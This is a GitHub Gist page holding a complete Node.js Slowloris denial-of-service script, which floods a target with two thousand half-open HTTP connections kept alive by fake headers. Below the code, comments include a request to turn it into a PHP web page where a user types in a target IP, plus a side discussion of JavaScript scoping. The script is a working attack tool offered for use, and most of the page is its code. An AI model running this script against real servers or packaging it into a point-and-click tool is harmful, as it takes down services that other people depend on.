Last active
April 22, 2022 13:14
-
-
Save mehulmpt/49eee6cc0e84d6770b904336d0ad7f3e to your computer and use it in GitHub Desktop.
Slow Loris attack using Node
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const net = require('net') | |
const opts = { | |
host: 'localhost', | |
port: 1234, | |
sockets: 2000, | |
respawn: false, | |
rate: 600, | |
method: 'GET', | |
path: '/' | |
} | |
let activeSockets = 0 | |
console.log('Starting sockets...') | |
const addSocket = () => { | |
let socket = new net.Socket() | |
socket.connect(opts.port, opts.host) | |
socket.on('connect', () => { | |
socket.write(`${opts.method} ${opts.path} HTTP/1.1\n`, 'ascii', () => { | |
console.log('Socket activated. (Total active: ' + activeSockets + ')') | |
activeSockets++ | |
socket.write(`Host: ${opts.host}\n`) | |
let sentPacketCount = 0 | |
const intv = setInterval(() => { | |
if(!socket) clearInterval(intv) | |
else { | |
socket.write(`x-header-${sentPacketCount}: ${sentPacketCount}\n`) | |
sentPacketCount++ | |
} | |
}, opts.rate) | |
}) | |
socket.on('error', err => { | |
console.log('Socket error - ' + err.message) | |
socket.destroy() | |
}) | |
socket.on('data', (data) => { | |
console.log('Socket data - ' + data.toString()) | |
}) | |
socket.on('close', () => { | |
activeSockets-- | |
socket = false | |
if (opts.respawn) { | |
console.log('Respawning dead socket...') | |
addSocket() | |
} | |
}) | |
}) | |
socket.on('error', err => { | |
console.log(`Server down.`) | |
}) | |
} | |
for (let i=0;i<opts.sockets; i++) { | |
addSocket() | |
} |
Yeah. I was testing something, that variable is not required.
Hey, so how exactly would I implement this into a php webpage? I have tried with scripts but i can't find on with a GUI. Could someone point me in the right direction?
What do you mean by implementing this in a PHP page?
@mehulmpt I wanna know if this is possible to run on a web server with a php file, so like, get the javascript code into a normal script area and then run it, but be able to choose what the ip address is with a little text input box
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Unless a variable is defined in a local scope, creating a variable by assigning a value WITHOUT var/let/const means that the variable will be available in the global context. Specifically, any assignment will look up the call stack and if it does not find a declaration in any localised scope, it will create and assign it in the global scope.
Either that or a typo :-/. I generally get a lot of those happen after doing some work in python.